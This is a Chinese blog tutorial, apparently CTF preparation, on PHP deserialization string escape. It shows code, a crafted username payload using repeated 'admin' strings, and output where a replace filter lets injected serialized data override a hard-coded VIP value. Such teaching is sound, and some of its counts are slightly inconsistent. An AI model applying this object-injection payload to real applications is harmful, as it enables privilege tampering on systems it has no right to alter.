目录

  1. 1. 前言
  2. 2. 正文
  3. 3. 结论

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

反序列化字符串逃逸

2023/4/24 Web 反序列化
  |     |   总文章阅读量:

前言

ctfshow web262的一点前置知识补充

也是学习一下字符串逃逸的思路

正文

以这段代码作为引入来了解字符串逃逸

首先可以看到这段代码是很基本的php反序列化,输出结果显而易见

<?php
class user
{
    public $username;
    public $password;
    public $VIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->VIP = 0;
    }
}
$u = new user('admin', 114514);
echo serialize($u);

//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";i:114514;s:3:"VIP";i:0;}

那如果在实例化并序列化一个类后再替换其中的字符串,结果会怎么样呢?

这里修改代码增加一个filter方法并在序列化后调用

<?php
class user
{
    public $username;
    public $password;
    public $VIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->VIP = 0;
    }
}
function filter($s)
{
    return str_replace('admin', 'Hacker', $s);
}
$u = new user('admin', 114514);
$u_seri = serialize($u);
echo filter($u_seri);

//O:4:"user":3:{s:8:"username";s:5:"Hacker";s:8:"password";i:114514;s:3:"VIP";i:0;}

逻辑上很明显,只有字符串的内容admin被修改了,但是前面的长度不会变化,所以这种情况下是无法执行反序列化的

但是如果我们修改username的内容为admin";s:8:"password";i:114514;s:3:"VIP";i:0;},在这种情况下是否}能否像sql语句那样子实现闭合呢?

$u = new user('admin";s:8:"password";i:114514;s:3:"VIP";i:0;}', 114514);

//O:4:"user":3:{s:8:"username";s:46:"Hacker";s:8:"password";i:114514;s:3:"VIP";i:0;}";s:8:"password";i:114514;s:3:"VIP";i:0;}

可以发现由于长度不足46,依然不能进行反序列化

这个时候我们就需要想办法把长度凑够实现反序列化

我们知道Hackeradmin多了一个字符,所以可以通过字符替换增加的位数来补足我们所需的长度

46-6=40

所以我们需要再重复40次admin来补足相差的位数

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";i:114514;s:3:"VIP";i:0;}', 114514);

//这里使用str_repeat()函数简化
$u = new user(str_repeat('admin', 41) . '";s:8:"password";i:114514;s:3:"VIP";i:1;}', 114514);

//O:4:"user":3:{s:8:"username";s:246:"HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker";s:8:"password";i:114514;s:3:"VIP";i:0;}";s:8:"password";i:114514;s:3:"VIP";i:0;}

此时再尝试反序列化,成功

var_dump (unserialize(filter($u_seri)));

/*object(user)#2 (3) {
  ["username"]=>
  string(246) "HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker"
  ["password"]=>
  int(114514)
  ["VIP"]=>
  int(0)
}*/

如果我们这里把VIP的值改为1

可以发现反序列化的VIP值被改变了,绕过了原本写死的VIP=0

object(user)#2 (3) {
  ["username"]=>
  string(246) "HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker"
  ["password"]=>
  int(114514)
  ["VIP"]=>
  int(1)
}

结论

这种姿势适用于替换字符数增加的情况